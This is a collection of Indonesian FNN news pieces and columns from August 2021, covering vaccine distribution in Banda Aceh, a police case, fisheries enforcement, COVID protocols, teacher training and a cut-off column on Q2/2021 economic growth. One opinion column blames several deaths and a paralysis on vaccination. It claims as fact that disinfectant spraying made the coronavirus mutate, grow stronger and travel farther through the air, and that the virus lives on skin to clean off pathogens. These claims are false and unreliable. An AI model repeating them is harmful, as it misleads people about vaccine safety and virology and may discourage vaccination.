Banda Aceh, FNN - Pemerintah Kota Banda Aceh mendapatkan distribusi sebanyak 4.760 dosis vaksin Moderna serta 7.500 vaksin Sinovac dari tim Satgas COVID-19 Pemerintah Aceh. "Banda Aceh mendapatkan 4.760 dosis vaksin Moderna dan juga 7.500 vaksin Sinovac. Vaksin Moderna tersebut dikhususkan untuk para tenaga kesehatan (nakes) sebagai booster atau vaksinasi dosis ketiga yaitu untuk tenaga kesehatan yang bekerja di tempat pelayanan kesehatan, asisten tenaga kesehatan.," kata Kepala Dinas Kesehatan Kota Banda Aceh Lukman, di Banda Aceh, Sabtu. Lukman mengatakan, selain itu juga untuk petugas penunjang di fasilitas pelayanan kesehatan yang telah melakukan vaksinasi dosis pertama dan kedua Sinovac minimal 3 bulan sebelum nantinya vaksinasi dosis ketiga. Menurut Lukman, tenaga kesehatan sebagai garda terdepan yang berhadapan langsung dengan pasien COVID-19 membutuhkan imunitas yang kuat. Apalagi saat ini ada banyak macam COVID-19 varian baru dengan penularan tinggi. “Untuk pelaksanaan penyuntikannya akan dilaksanakan mulai minggu ke dua bulan Agustus ini," katanya. Sementara untuk vaksin Sinovac, lanjut Lukman, nantinya diperuntukkan bagi masyarakat rentan, remaja yang berusia 12 sampai 17 tahun, warga lansia, ibu hamil, dan masyarakat umum guna mempercepat capaian vaksinasi di Kota Banda Aceh. "Pelaksanaan vaksin untuk masyarakat ini tersedia di 30 fasilitas kesehatan di Banda Aceh mulai dari Puskesmas hingga rumah sakit," ujar Lukman. Dalam kesempatan ini, Lukman juga menegaskan bahwa setiap rumah sakit rujukan COVID-19 dan Puskesmas di Banda Aceh diminta sudah dapat menyiapkan cold chain guna menyimpan vaksin booster sebelum disuntikkan kepada para tenaga kesehatan. (sws)

Polda Metro Tetapkan Jerinx Jadi Tersangka Kasus Pengancaman

Jakarta, FNN - Penyidik Polda Metro Jaya telah menetapkan musisi I Gede Ari Astina alias Jerinx sebagai tersangka terkait kasus dugaan pengancaman terhadap pegiat media sosial Adam Deni. "Sudah di tetapkan sebagai tersangka hasil gelar​​ perkara," kata Kepala Bidang Humas Polda Metro Jaya Kombes Pol Yusri Yunus saat dikonfirmasi di Jakarta, Sabtu. Gelar perkara internal oleh penyidik Polda Metro Jaya pada Jumat (6/8), menemukan bahwa unsur pidana dalam perkara tersebut telah terpenuhi sehingga bisa dilakukan penetapan tersangka terhadap Jerinx. Dalam perkara tersebut penyidik Polda Metro Jaya menyita barang bukti berupa telepon seluler milik Jerinx serta alat komunikasi milik istri Jerinx, Nora Alexandra. "Kita periksa istri J dan sita handphone istri J, karena J menggunakan handphone istri saat melakukan pengancaman kepada pelapor," kata Yusri. Jerinx dilaporkan oleh pegiat media sosial Adam Deni terkait dugaan tindak pidana ancaman melalui media elektronik. Dugaan tindak pengancaman ini bermula saat Deni ​​​berkomentar terkait pernyataan Jerinx soal artis yang disponsori COVID-19 melalui media sosial. Komentar yang dilayangkan Deni pun menyulut perhatian artis asal Bali itu sehingga menjadi pemicu pertikaian. Selang beberapa lama, akun Instagram Jerinx pun hilang. Jerinx lalu menuduh Deni sebagai orang yang bertanggung jawab atas hilangnya akun Instagram itu. Jerinx pun sempat menghubungi Deni dan mengancam melakukan tindak kekerasan. Atas ancaman tersebut, Deni sempat berniat membuka pintu mediasi dengan Jerinx. Namun upaya tersebut tidak berjalan mulus dan Deni pun melaporkan Jerinx ke Polda Metro Jaya. Jerinx secara resmi dilaporkan pada 10 Juli 2021. Keterangan pelaporan itu diunggah Deni melalui akun Instagram "@adngadn. Dalam keterangan pelaporan, Jerinx dijerat dengan Pasal 335 KUHP dan atau Pasal 29 Junto Pasal 45 huruf b UU Nomor 19 Tahun 2016 tentang Perubahan atas UU Nomor tahun 2008 tentang UU ITE. (mth)

DLHK3 Minta Perhotelan di Banda Aceh Lakukan Pemilahan Sampah

Banda Aceh, FNN - Dinas Lingkungan Hidup Keindahan dan Kebersihan Kota (DLHK3) Kota Banda Aceh minta manajemen perhotelan di Banda Aceh untuk menjalankan program pemilahan dan pembatasan sampah guna menuju Banda Aceh Bebas Sampah 2025. “Semua hal yang positif ini menjadi modal terbesar bagi mewujudkan Banda Aceh Bebas Sampah 2025," kata Kepala DLHK3 Banda Aceh Hamdani Basyah, di Banda Aceh, Sabtu. Ia mengatakan sejauh ini mulai banyak hotel di Banda Aceh yang mendukung program kebersihan dengan menjalankan pemilahan dan pembatasan sampah tersebut. Sejak Januari 2021 lalu, kata dia, pihak hotel telah menjalankan program ini secara baik dengan pendampingan oleh tim LHK3 sendiri. Hotel-hotel berbintang di Banda Aceh seperti Hermes Palace, Kyriad Muraya dan beberapa lainnya sudah lebih dulu menerapkan dengan pendampingan tim fasilitator. “Program ini terus berjalan, kita juga turun langsung ke hotel-hotel lainnya di Banda Aceh," katanya. Ia menjelaskan Banda Aceh memiliki modal besar untuk menjalankan program lingkungan ini karena adanya komitmen yang sangat kuat dari Wali Kota Banda Aceh mewujudkan kota yang bersih, indah, rapi, sehat dan nyaman. "Ini juga dalam rangka menjadikan Banda Aceh bebas sampah tahun 2025 sesuai amanah Peraturan Wali Kota (Perwal) Banda Aceh Nomor 46 Tahun 2018," katanya. Pihaknya juga mengimbau kepada masyarakat untuk ikut berpartisipasi menjaga kebersihan kota yang dimulai dari lingkungan terkecil, yakni rumah tangga. Bisa dengan memilah sampah sesuai jenisnya. “Ketika sampah sudah dipilah, maka akan lebih mudah untuk ditangani. Ada yang perlu dibawa ke tempat daur ulang, ada yang kemudian langsung dibawa ke TPA,” demikian Hamdani. (mth)

KKP Didukung Mitra Regional Aktif Berantas Pencurian Ikan

Jakarta, FNN - Kementerian Kelautan dan Perikanan (KKP) yang telah lama aktif memberantas tindak pidana pencurian ikan di kawasan perairan Nusantara, mendapat dukungan sejumlah mitra regional dalam Regional Plan of Action to Combat IUU Fishing (RPOA-IUU). "RPOA-IUU yang telah berdiri sejak tahun 2007 dan memiliki 11 negara anggota ini, memiliki peran yang strategis," kata Plt Dirjen Pengawasan Sumber Daya Kelautan dan Perikanan KKP Antam Novambar, dalam siaran pers di Jakarta, Sabtu. RPOA-IUU merupakan sebuah inisiatif regional yang disepakati pada tahun 2007 di Bali, oleh 11 negara meliputi Australia, Brunei Darussalam, Filipina, Indonesia, Kamboja, Malaysia, Papua Nugini, Singapura, Thailand, Timor-Leste, dan Vietnam. Menurut Antam Novambar penguatan RPOA-IUU ini merupakan hal penting bagi Indonesia serta kawasan ASEAN, dalam rangka sebagai bagian dari upaya diplomasi pemberantasan kegiatan penangkapan ikan secara ilegal. Antam menjelaskan bahwa berbagai dinamika dan modus operandi serta jaringan yang terlibat dalam praktik pencurian ikan ini terus berkembang sehingga perlu untuk mendapatkan atensi dan perhatian. KKP, lanjutnya, juga terus mendorong penguatan pengawasan dan penegakan hukum, tentu dengan pendekatan diplomatik melalui kerangka kerja sama dan sinergi antarnegara di kawasan. Sementara itu, Sekretaris Direktorat Jenderal PSDKP yang juga Coordinator Secretariat RPOA-IUU, Suharta, menjelaskan bahwa RPOA-IUU secara konkrit telah memperoleh dukungan program dari Australia, dan sejumlah lembaga internasional seperti UNDP/ATSEA-2 dan FAO-ISLME. RPOA-IUU didirikan dengan tujuan mempromosikan tata kelola perikanan yang bertanggungjawab, termasuk mendorong penguatan pemberantasan IUU Fishing. Sebelumnya, KKP menyatakan bahwa hingga pekan terakhir Juli telah ada sekitar 125 kapal ikan yang telah ditangkap, di mana penangkapan terakhir adalah kapal ikan asing asal Malaysia di wilayah perairan RI. Sebanyak 125 kapal yang ditangkap selama 2021 itu, terdiri dari 81 kapal ikan Indonesia yang melanggar ketentuan dan 44 kapal ikan asing yang mencuri ikan, terdiri dari 15 kapal berbendera Malaysia, 6 kapal berbendera Filipina dan 23 kapal berbendera Vietnam. (mth)

Jangan Buka Masker Walau Hanya Semenit Demi Foto Bersama

Jakarta, FNN - Juru Bicara Vaksinasi COVID-19 Kementerian Kesehatan, Siti Nadia Tarmizi mengingatkan Anda tak kendor menerapkan protokol kesehatan termasuk melepas masker walau hanya satu menit demi berfoto bersama saat ini. "Foto bersama cuma 1 menit buka masker, padahal ada satu hal yang selalu mengintai kita kalau kita lengah," ujar dia dalam acara webinar bertajuk "Hoaks, Fakta, Sains, Pejuang Isoman COVID-19, Sabtu. Bukan hanya perlu taat mengenakan masker termasuk saat berada di luar rumah, Anda juga diingatkan tetap rajin mencuci tangan, menjaga jarak, menjauhi kerumunan dan mengurangi mobilitas demi mencegah terkena COVID-19 dan tidak berkontribusi pada peningkatan kasus di masyarakat. Menurut Nadia, lonjakan kasus COVID-19 beberapa bulan lalu, antara lain akibat tingginya mobilitas orang-orang dan mulai lengahnya mereka pada prokotol kesehatan seperti tak lagi menjaga jarak satu meter dalam berkegiatan seperti rapat, berkerumun di pesta pernikahan yang tidak terdapat aturan pembatasan jumlah tamu dan makan di restoran beramai-ramai. "Peningkatan kasus yang sangat signfikan yakni akibat lengahnya protokol kesehatan ditambah mobilitas kita yang tinggi. Masyarakat kendor dengan protokol kesehatan. Restoran ramai kembali, mulai makan bukan hanya bersama keluarga tetapi bersama teman-teman, rapat tanpa protokol kesehatan jaraknya sudah tidak 1 meter lagi," kata dia. Di sisi lain, berbeda dari tahun lalu, saat ini muncul berbagai varian virus akibat mutasi yang terjadi, salah satunya varian Delta. Varian ini lebih cepat menular dengan risiko penularan 60 persen lebih tinggi dari varian Alfa atau virus aslinya (yang berasal dari Wuhan, China). Varian Delta juga meningkatkan jumlah kasus yang membutuhkan perawatan, menurunkan efektivitas vaksin walau sampai saat ini vaksin-vaksin yang ada masih efektif melawan virus termasuk varian Delta. "Varian Delta juga lebih cepat menular di antara anak-anak sekolah, CT Value lebih rendah kalau positif 16, 20 padahal sebelumnya 25, 30, 32," tutur Nadia. Munculnya varian baru SARS-CoV-2 ini akibat semakin banyaknya infeksi pada suatu populasi yang kemudian meningkatkan kejadian mutasi virus. "Perlu diperhatikan juga, kalau semakin banyak infeksi yang muncul, maka mutasi virus akan semakin meningkat. Makanya varian Delta muncul karena begitu banyak infeksi yang terjadi di India, akhirnya menimbulkan varian atau virus baru yang berbeda dari virus aslinya (dari China)," kata Nadia. Seseorang yang terkena COVID-19 umumnya mengalami gejala infeksi saluran pernapasan, seperti batuk, pilek, demam, sakit seluruh badan, hilang indera penciuman dan perasa, bahkan sering juga didahului dengan diare. Pusat Pengendalian dan Pencegahan Penyakit Amerika Serikat (CDC) menyatakan, dalam dua penelitian berbeda dari Kanada dan Skotlandia, disebutkan pasien yang terinfeksi varian Delta lebih mungkin dirawat di rumah sakit daripada pasien yang terinfeksi Alfa atau strain virus asli. (mth)

Peneliti LIPI Ubah Limbah Masker Jadi Produk Bernilai Tambah

Jakarta, FNN - Seorang peneliti di Lembaga Ilmu Pengetahuan Indonesia (LIPI) menggunakan teknologi untuk mengubah limbah masker medis menjadi produk bernilai tambah. "Jadi dulunya sampah tidak ada nilainya, dia (limbah masker medis) bisa dikonversi menjadi produk berupa menjadi bijih plastik atau pelet," kata peneliti pada Loka Penelitian Teknologi Bersih (LPTB) LIPI Akbar Hanif Dawam Abdullah, saat dihubungi ANTARA di Jakarta, Sabtu. Pada masa pandemi COVID-19, kata dia, penggunaan masker medis meningkat signifikan, baik oleh masyarakat umum maupun di fasilitas pelayanan kesehatan, untuk mencegah penularan COVID-19. Menurut dia, jika tidak dikelola dengan baik, masker-masker medis yang sudah dipakai itu akan berdampak pada tingginya timbulan sampah masker medis. Dawam menuturkan limbah masker medis sekali pakai berbahan plastik, yakni polipropilen yang dapat diubah menjadi bijih plastik yang kemudian bisa diolah menjadi produk bernilai tambah, seperti pot, bak sampah, dan ember. Agar tidak menjadi sampah yang berakhir di tempat pemprosesan akhir dan mencemari lingkungan, menurut dia, maka limbah masker medis dapat diolah atau didaur ulang menggunakan teknologi ekstrusi untuk mengubah limbah masker medis menjadi produk berguna. Dalam proses daur ulang, katanya, limbah masker medis dipanaskan pada suhu tertentu, sehingga menghasilkan pelet atau bijih plastik. "Bijih plastik ini sebenarnya memiliki nilai komersial karena bijih plastik atau pelet ini adalah bahan baku industri plastik," tutur Dawam. (mth)

Literasi dan Numerasi dalam Transformasi Dunia Pendidikan Indonesia

Jakarta, FNN - Sesungguhnya tidak mengejutkan manakala survei dari Program for International Student Assessment menunjukkan peringkat literasi masyarakat Indonesia berada di nomor 62 dari 70 negara. Berdasarkan riset dari World’s Most Literate Nations Ranked yang digelar oleh Central Connecticut State University, Indonesia pun dinyatakan hanya menduduki peringkat ke-60 dari 61 negara soal minat membaca, persis berada di bawah Thailand (59) dan di atas Bostwana (61). Rekor minor ini berakar dari pendidikan dasar yang belum sepenuhnya menerapkan pentingnya literasi dan numerasi. Sehingga, peningkatan mutu sumber daya pendidik menjadi faktor yang sangat dibutuhkan saat ini, karena pendidik memegang peranan penting dalam kemajuan bangsa. Berangkat dari fakta tersebut, sejumlah pihak diharapkan turut serta berpartisipasi memacu transformasi pendidikan di Tanah Air sebab meningkatkan kualitas edukasi merupakan tanggung jawab semua. Salah satu concern serupa dilakukan HAFECS melalui pengembangan kompetensi guru pada program Guru Juara sebuah program gratis untuk seluruh tenaga pendidik di Indonesia. Melalui Guru Juara, para guru di seluruh Indonesia pada 5 tingkat pendidikan (SMA/MA, SMK/STM, SMP/MTS, SD/MI, dan TK/PAUD) diberikan pelatihan secara online, yang mengacu pada Teaching Mastery Framework (TMF), sebuah kerangka ajar untuk meningkatkan kompetensi guru. Jika biasanya masyarakat di tanah air lebih mengenal konsep pelatihan untuk pengembangan profesionalitas guru secara berkelanjutan, yakni dengan guru datang ke sekolah-sekolah dan mengikuti pelatihan, melalui program Guru Juara akan ada wadah pelatihan tersebut. Namun tetap tidak melupakan dasar pembangunan budaya belajar di lingkungan sekolah. Peningkatan Kompetensi Sejatinya ada banyak cara untuk mendorong naiknya kualitas pendidikan di tanah air, salah satunya dengan meningkatkan kompetensi para guru dan pengajar di dalamnya. Direktur HAFECS, Dr. Zulfikar Alimuddin, B. Eng, MM, menjelaskan sistem pendidikan di Indonesia memerlukan sebuah inovasi. Pihaknya menemukan salah satunya bahwa Teaching Mastery Framework (TMF) bisa menjadi kurikulum yang baik untuk mencetak para guru juara yang sesuai dengan kebutuhan di era saat ini. Kurikulum yang diterapkan dalam program Guru Juara itu pun diujicobakan dan diharapkan mampu meningkatkan kompetensi pengajaran guru mata pelajaran, kualitas proses belajar siswa di sekolah, dan kualitas hasil belajar siswa, terutama kemampuan literasi dan numerasi. Menurut dia, ada tujuan jangka pendek yang saat ini sangat perlu untuk diwujudkan yakni membentuk pola pengembangan keterampilan mengajar para guru, yang berorientasi pada peningkatan kemampuan literasi dan numerasi siswa. Langkah itu perlu untuk sebuah ketetapan target jangka panjang yakni memperbaiki tingkat literasi dan numerasi para siswa Indonesia, sebagai prasyarat kemajuan masyarakat abad ke-21. Melalui program Guru Juara misalnya hal itu dapat diketahui sehingga pihaknya berupaya melaksanakannya selama 10 minggu (2 minggu tes + 8 minggu training). Sesi dilaksanakan pada hari Senin dan Jumat, di setiap pekan. Meski demikian, program ini akan dilakukan secara terstruktur dan terukur, dilengkapi dengan Learning Management System (LMS) untuk memudahkan peserta belajar. Pihaknya pun kemudian membuka peluang tersebut kepada para guru dan sekolah untuk mengikuti program Guru Juara selama satu bulan, pelatihan TMF, Action Learning, dan Knowledge Creation, disertai dengan pendampingan tiga bulan, serta uang pembinaan hingga jutaan rupiah. Disamping itu, program juga dilaksanakan melalui platform guruinovatif.id, salah satu Start-Up di lingkungan Yayasan Hasnur Centre. Coaching Eksklusif Guru tak terelakkan menjadi kunci dalam suatu pengembangan sistem pendidikan yang lebih baik. Pelatihan coaching eksklusif dari pakar dan profesional akan memungkinkan peningkatan kompetensi yang lebih baik. Terlebih ketika ada kesempatan bagi para guru untuk bisa memilih sendiri pelatihnya bahkan menentukan waktu, kelas, dan jenis coaching yang dibutuhkannya. Hal itu sejalan dengan keinginan Pemerintah untuk menjadikan sistem pendidikan di Indonesia lebih baik seiring dengan penerapan inovasi agar bisa tetap diterapkan di tengah situasi sulit termasuk pandemi COVID-19. Presiden Joko Widodo (Jokowi) sebelumnya juga telah menyatakan keyakinannya bahwa pendidikan di Indonesia tidak akan bergerak maju di era pandemi COVID-19 ini tanpa terobosan cara-cara baru. Untuk itu, Jokowi menekankan pentingnya inovasi di dunia pendidikan guna menyiasati pelbagai tantangan pembelajaran di tengah berjangkitnya wabah virus corona. Pendidikan di Indonesia termasuk SDM pengelolanya dituntut untuk cepat beradaptasi sebab situasi pandemi ini telah mengubah drastis kehidupan manusia. Di Indonesia saat ini misalnya, demi memutus rantai penyebaran COVID-19, pemerintah mengambil kebijakan untuk menerapkan pembelajaran jarak jauh di berbagai daerah yang tercatat masih dalam zona merah. Di mana salah satu metode utama yang diterapkan adalah belajar daring atau online. Kondisi ini menjadi penuh tantangan manakala materi pembelajaran dituntut agar dapat tersampaikan dengan baik, terutama untuk level pendidikan dasar. Dari sinilah kemudian guru-guru dituntut betul-betul kreatif dan inovatif. Presiden Jokowi juga telah berpesan agar kondisi pandemi harus dimanfaatkan sebagai waktu evaluasi dan koreksi di lingkup pendidikan. Ia menegaskan tak ingin pandemi justru menghambat target pendidikan menciptakan sumber daya manusia (SDM) yang unggul. Menurutnya, pandemi malah boleh jadi telah membuka mata seluruh insan pendidikan dan masyarakat terkait keluhan serta kekurangan yang perlu diperbaiki di masa depan. Dari situlah kemudian evaluasi dan perbaikan bisa dilakukan untuk menuju sistem pendidikan yang lebih mencerahkan masa depan bangsa. (mth)

Australia Catat Rekor Jumlah Harian Kasus COVID-19

Melbourne, FNN - Australia melaporkan rekor jumlah harian kasus COVID-19 pada Sabtu dengan varian Delta yang sangat menular terus menyebar melalui negara bagian terpadat di negara bagian New South Wales, Victoria dan Queensland . Dengan sekitar 15 juta orang di tiga negara bagian, atau 60 persen dari populasi Australia, di bawah penguncian ketat, negara itu juga melaporkan lima kematian terkait virus corona, salah satu yang tertinggi tahun ini. New South Wales melaporkan 319 kasus baru COVID-19 yang didapat secara lokal, terbesar sejak dimulainya pandemi pada awal 2020, dengan Sydney dan pusat-pusat regional sekitarnya yang membentang 200 km (120 mil) dari garis pantai di bawah perintah tinggal di rumah selama enam minggu. Ada 345 orang dirawat di rumah sakit di New South Wales, dengan 56 dalam perawatan intensif dan 23 di bawah ventilasi, kata otoritas negara bagian. Negara bagian tetangga Victoria mengalami lonjakan harian tertinggi dalam kasus tahun ini, dengan 29 infeksi baru, karena negara bagian itu tetap berada di bawah penguncian tujuh hari yang diberlakukan awal pekan ini. Pimpinan Negara Bagian Victoria Dan Andrews mendesak orang untuk mengikuti aturan kesehatan masyarakat yang memungkinkan penduduk meninggalkan rumah mereka hanya untuk pekerjaan penting, belanja, perawatan, vaksinasi atau dua jam olahraga di luar ruangan. "Varian Delta ini menyebar begitu cepat," kata Andrews. "Kami tidak memiliki cukup banyak orang yang divaksin, kami akan menyelesaikan dengan orang-orang yang lebih muda di rumah sakit. Sistem kami akan dikuasai jika kami tidak mengendalikan ini." Dengan lebih dari 36.000 kasus COVID-19 dan 937 kematian, Australia telah menghindari beban kasus yang tinggi di negara-negara maju lainnya, tetapi angka vaksinasinya termasuk yang terendah, dengan hanya 20 persen orang berusia di atas 16 tahun yang divaksin penuh. (mth)

Korban Vaksin Masih Saja Terjadi

Oleh: Mochamad Toha Vaksinasi kembali memakan korban. Kali ini menimpa seorang Ketua RT di Dusun Babadan, Kelurahan Tinap, Kecamatan Sukomoro, Kabupaten Magetan, Jawa Timur. Jarwanto, sang Ketua RT itu meninggal dunia usai seminggu divaksin Covid-19. Tak jelas, jenis vaksin apa yang disuntikkan pada pria berusia 40 tahun itu. Faktanya, setelah divaksin, Jarwanto diketahui terpapar Covid-19. Jarwanto meninggal dalam perawatan di RSUD dr Sayidin Magetan usai melakukan vaksinasi Covid-19 sepekan sebelumnya. Ketika menjalani vaksinasi, mendiang Jarwantio bermaksud ingin memberi contoh kepada warganya agar bersedia divaksin di Balai Desa Pojoksari, tetangga desa. Namun, sepekan kemudian, stamina ayah seorang putri itu tiba-tiba drop dan meninggal dunia. Karena dirawat di masa pandemi, ia pun dinyatakan meninggal karena terpapar Covid-19. Bahkan matanya sempat tak melihat usai divaksin Covid-19. “Kondisinya sempat semakin drop, bahkan matanya terbuka tapi tak bisa melihat sekeliling, bicaranya juga tak jelas," kata Suwito, salah seorang warga Desa Baron, Kecamatan Magetan yang masih saudara ipar Jarwanto seperti dilansir Surya, Kamis akhir Juli 2021 lalu. “Badan sudah lemas, tidak bisa jalan. Kondisi itu terjadi seminggu setelah divaksin,” imbuh Jarwanto. Karena meninggalnya almarhum Jarwanto dikabarkan kena Covid-19, istri dan anaknya sempat dijauhi tetangga. Karena itulah pihak keluarga melakukan swab test ke Puskesmas Sukomoro. “Istri dan anak almarhum, saya antarkan untuk swab test ke Puskesmas Sukomoro, hasilnya negatif,” ujar Suwito. Dari informasi yang didapatkan, Jarwanto menghembuskan nafas terakhirnya di RSUD dr Sayidiman setelah mengalami drop. Keluarga membawa Jarwanto setelah sepekan menjalani vaksinasi Covid-19 di Balai Desa Pojoksari, Kecamatan Sukomoro. Menurut istri dan anaknya, korban tidak mengeluh apa-apa usai menjalani vaksinasi. Bahkan masih memimpin kerja bakti di lingkungannya dan mengajar mengaji untuk anak-anak dan orang tua di masjid desa. Almarhum Jarwanto memang punya riwayat asam lambung. “Tetapi setelah diperiksa tenaga medis ia dinyatakan sehat, sehingga tetap divaksin,” kata Serma TNI AU Samuji, kakak ipar Jarwanto. Dituturkan Samuji, saat Jarwanto drop dan akan dibawa ke RSUD, pihaknya diminta untuk tandatangan kalau korban terpapar Covid-19. “Kami pun tanda tangan karena takut kalau ia (Jarwanto) tidak tertolong. Almarhum meninggal kekurangan oksigen,” kata Samuji. Sementara Lurah Tinap, Suwarni mengakui bahwa selama pandemi sudah ada 13 warganya yang meninggal akibat Covid-19. Yaitu 11 warga asli dari Kelurahan Tinap, satu orang asal Jakarta, dan satu asal Bangkalan. Ketika seseorang meninggal dan dinyatakan karena Covid-19, tidak ada lagi daya dan upaya keluarga korban untuk meminta pertanggungjawaban dari Pemerintah sebagai penyelenggara vaksinasi. Apalagi, selama ini dalihnya selalu: karena ada komorbid. Tapi, untuk kasus Trio Fauqi Virdaus, warga Buaran, Jakarta Timur, yang meninggal dunia sehari setelah disuntik vaksin AstraZeneca, Pemerintah tampak sulit mengelaknya. Apalagi, hasil otopsi menyebut, tidak ada komorbid pada korban. Hasil autopsi dibacakan dokter RSCM pada Selasa sore akhir Juli 2021. Hanya menerangkan dua poin saja, yakni Trio dinyatakan tidak ada komorbid atau penyakit penyerta. Poin dua, ada flek hitam di paru-paru, tapi flek ini tak berkaitan dengan kematian. Viki, kakak korban menerangkan, hasil autopsi Trio dibacakan melalui Zoom yang diikuti Komisi Nasional Kejadian Ikutan Pasca-Imunisasi (Komnas KIPI), Kementerian Kesehatan, Dinas Kesehatan DKI, Dokter dari RSCM, dan Puskesmas Duren Sawit. “Hasilnya itu saja, jadi tidak ada komorbid baik penyakit jantung, diabetes, itu tidak ada. Makanya, kalau tidak ada komorbid, kondisinya sehat walafiat, tidak ada riwayat penyakit berat, ini murni karena vaksin dong,” ujarnya. Korban vaksinasi terbaru adalah Amelia Wulandari, seorang mahasiswi akhir pada Fakultas Hukum Universitas Syiah (USK) Kuala Banda Aceh. Sejak Minggu (1/8) 2021 Amelia harus dirawat di RSUD Cut Nyak Dhien Meulaboh karena lumpuh setelah mendapatkan vaksinasi anti-COVID-19 oleh tenaga kesehatan. Semula korban dirawat di Rumah Sakit Swasta Montella Meulaboh, tapi karena kondisinya memburuk kemudian ia dirujuk ke RSUD Cut Nyak Dhien Meulaboh. Menurut Kepala Dinas Kesehatan Kabupaten Aceh Barat Provinsi Nangroe Aceh Darussalam Syarifah Junaidah, seorang mahasiswi yang lumpuh setelah mendapatkan penyuntikan vaksin Sinovac diduga mengalami psikosomatis. “Jadi, dugaan sementara pasien mengalami psikosomatis, artinya banyak cemas atau pikiran yang berlebihan setelah mendapatkan vaksinasi,” kata Syarifah Junaidah, Selasa (3/8/2021). Meski saat ini korban mengaku lumpuh setelah mendapatkan penyuntikan, namun menurut Kadinkes, hal tersebut belum bisa dipastikan secara medis. Menurut Syarifah Junaidah, untuk bisa memastikan seseorang lumpuh tersebut harus adanya uji laboratorium dan pemeriksaan lebih lanjut guna memastikan penyebab pastinya. Jadi, pihaknya belum bisa pastikan apakah lumpuh ini karena vaksin atau faktor lain, masih perlu pendalaman lebih lanjut secara medis. Pihaknya bersama dokter di RSUD Cut Nyak Dhien masih terus melakukan pemantauan dan pemberian obat-obatan kepada pasien, sehingga diharapkan kondisi pasien Amelia Wulandari semakin membaik, demikian Syarifah Junaidah. Perlu dicatat, dengan mutasi yang begitu cepat dan semakin kuat, Covid-19 sekarang ini tidak hanya menyerang saluran pernafasan hingga masuk ke paru-paru, tapi juga mulai menyerang saluran pencernaan, sistem saraf, dan mata. Mengapa corona bisa bermutasi sampai ratusan variasi genetika yang berbeda? Salah satunya karena masifnya penyemprotan desinfektan berbasis alkohol dan bahan kimia lainnya. Inilah yang tidak pernah dipikirkan oleh para peneliti. Perlu diingat, virus corona itu basic-nya seperti virus influenza. Habitatnya juga ada di kulit sekitar hidung manusia. Mereka ini bertugas membersihkan zat-zat patogen yang menempel di kulit sekitar hidung dan bibir atas. Sifat dasar virus (bakteri) itu serupa dengan antibodi, manusia, hewan, atau tanaman. Yakni, kalau mereka tersakiti, mereka akan memperkuat dirinya, dan menggandakan dirinya beratus-ratus kali lipat, dibandingkan pada kondisi normal. Covid-19 yang tertuduh sebagai pembunuh massal sadis itu, berusaha dibunuh secara massal pula, dengan disemproti desinfektan secara massal. Akibatnya, ada sebagian yang mati, ada sebagian yang masih hidup. Barangkali yang masih hidup lebih banyak dibanding dengan yang telah mati. Karena sudah menjadi sifatnya virus/bakteri itu, maka yang hidup ini menggandakan dirinya beratus-ratus atau beribu-ribu kali lebih banyak dan lebih kuat dibanding sebelumnya. Kalau sebelumnya kemampuan terbangnya hanya sekitar 1,8-2 m, menjadi akan lebih jauh lagi dibanding dengan itu. Kemampuan terbang lebih jauh inilah yang menyebabkan mereka menjadi bersifat “airborne infection”. Akibat dari penyemprotan desinfektan secara massal, menyebabkan mereka menjadi: Lebih banyak; Lebih kuat; Mampu terbang lebih jauh; Daya rusaknya lebih hebat. Makanya tidak heran kalau sekarang ini banyak ditemukan varian baru corona di dunia. Dengan mutasi yang begitu cepat dan kuat, Covid-19 sekarang ini tidak hanya menyerang saluran pernafasan hingga masuk ke paru-paru, tapi juga menyerang saluran pencernaan, sistem saraf, dan mata. Kasus yang menimpa Amelia Wulandari merupakan wujud dari serangan Covid-19 ke sistem saraf sehingga menyebabkan kelumpuhan. Sedangkan kasus Jarwanto sehingga matanya tak bisa melihat sekeliling, adalah wujud serangan terhadap mata. Untuk kasus Trio Fauqi Virdaus yang ada flek hitam di paru-parunya, sehari setelah divaksin Astra Zeneca, diduga kuat karena terjadi penggumpalan darah. Penulis adalah Wartawan FNN.co.id

Analisa Kritis Pertumbuhan Ekonomi Indonesia Kuartal 2/2021

Oleh Fuad Bawazier KEMARIN, 5 Agustus 2021 Badan Pusat Statistik (BPS) mengumumkan pertumbuhan ekonomi Indonesia untuk Kuartal (Q) 2 /2021 yakni April, Mei dan Juni 2021. Melengkapi komentar-komentar yang muncul dan menjawab banyak pertanyaan yang saya terima, rasanya perlu “diluruskan” agar tidak ada misleading terhadap data lengkap BPS itu. Dengan methode yang sama Year on Year (YoY) maka pertumbuhan ekonomi Kuartal 2/2021 Indonesia yang 7,07% itu sebenarnya terbilang rendah sebab negara partner utama dagang Indonesia pertumbuhannya sebagai berikut: Singapura 14,3%, Tiongkok 7,9%, USA 12,2%, Eropa 13,2%, dan Hongkong 7,5%. Hal tersebut terjadi karena tahun dasar pembandingnya adalah Kuartal 2/2020 yang memang amat rendah alias Kuartal yang paling jeblok. Sementara yang ditekankan Menko Petekonomian hanya negara-negara yang pertumbuhannya lebih rendah dari Indonesia yang umumnya Kuartal 2/2021 memang sedang diterpa pandemi dahsyat seperti India dan Jepang. Betul pertumbuhan dengan metode Q to Q untuk Q2/2021 Indonesia adalah 3,31. Tetapi bila kita melihat ke belakang, masih dengan metode Q to Q, kebanyakan pertumbuhan ekonomii Indonesia minus (negatif). Dan sesuai dengan kesepakatan internasional, apabila 2 kuartal berturut-turut minus, berarti ekonomi sedang resesi. Inilah datanya sejak ada Covid: Q4/2019................ -1,74 Q1/2020................ -2,41 Q2/2020................ -4,19 Q3/2020................ 5,05 Q4/2020................ -0,42 Q1/2021..................-0,92 Q2/2021.................. 3,31 Jadi lebih sering resesinya dan baru lepas Kuartal 2 ini yang positif. Tapi sudah dapat diduga bahwa Q3 tahun ini akan kembali minus lagi karena pandemi kembali menerpa dengan PPKM-nya. Jadi tampaknya akan kembali ke resesi lagi bila Q4 nya kembali minus. Intinya pertumbuhan Q2/2021 yang tinggi itu (7,07) adalah karena tahun pembandingnya (Q2/2020) yang memang rendah sekali. Kedua, alhamdulillah ada kenaikan harga komoditas ekspor yang signifikan seperti batubara dan minyak sawit, tapi itu faktor eksternal, di luar kendali kita. Jadi kesimpulannya, seperti dilaporkan BPS bhw tingginya pertumbuhan ekonomi Q2/2021 itu karena Low Base Effect, yaitu rendahnya Q2/2020 sebagai angka pembandingnya. Ingat kuartal 2/2020 kita sedang diterpa berat Pandemi. Makanya meski pertumbuhan Q2/2021 tampak “mengesankan” sebetulnya angka PDBnya sendiri hanya Rp2773 triliun alias masih di bawah angka PDB Q3/2019 (sebelum ada Pandemi) yang Rp2819 triliun. Alias ekonomi kita masih menciut, belum kembali ke angka yg 